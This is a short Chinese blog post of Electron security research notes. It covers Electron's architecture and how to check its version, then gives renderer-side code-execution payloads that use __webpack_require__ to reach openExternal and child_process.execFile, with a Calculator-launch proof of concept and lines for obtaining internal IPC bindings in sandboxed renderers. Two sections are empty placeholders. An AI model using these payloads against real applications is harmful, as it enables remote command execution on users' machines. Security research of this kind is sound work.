Electron的安全问题

前言:Electron的安全问题的笔记,然后再举例一个实战Electron挖掘到的一个漏洞

参考文章:https://www.electronjs.org/docs/latest/tutorial/security
参考文章:https://github.com/pd4d10/debugtron
参考文章:https://github.com/Just-Hack-For-Fun/Electron-Security

什么是Electron

Electron是由Github开发的一个构建跨平台桌面应用程序的开源框架,通过将 Chromium和Node.js合并到同一个运行环境中,可以打包成Windows、Linux、Mac系统下 的应用程序。 Electron平台用Javascript把UI和后端逻辑打通,后台主进程使用NodeJs丰富的API完 成复杂耗时的逻辑,而UI进程则借助Chrome渲染HTML完成交互。

如何查看electron的版本信息

项目开启调试模式,接着在控制台执行window.electron.process即可直接看到对应electron和chrome的版本信息,如下图所示

自定义协议protocol攻击链路

x

原型链污染IPC模块攻击链路

Electron >14

主进程IPC存在错误配置,通过进程间通信IPC,进行RCE

利用原生__webpack_require__命令执行

无沙箱的情况下,获取openExternal直接执行系统命令

window.__webpack_require__('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')

window.__webpack_require__("module")._load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
有沙箱的情况下,获取ipc,通过主进程的错误配置RCE

ipc = __webpack_require__('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal
a=__webpack_require__('./node modules/process/browser.is')._linkedBinding('electron_renderer_ipc')

利用开发预直preload函数命令执行

x

posted @   zpchcbd  阅读(154)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示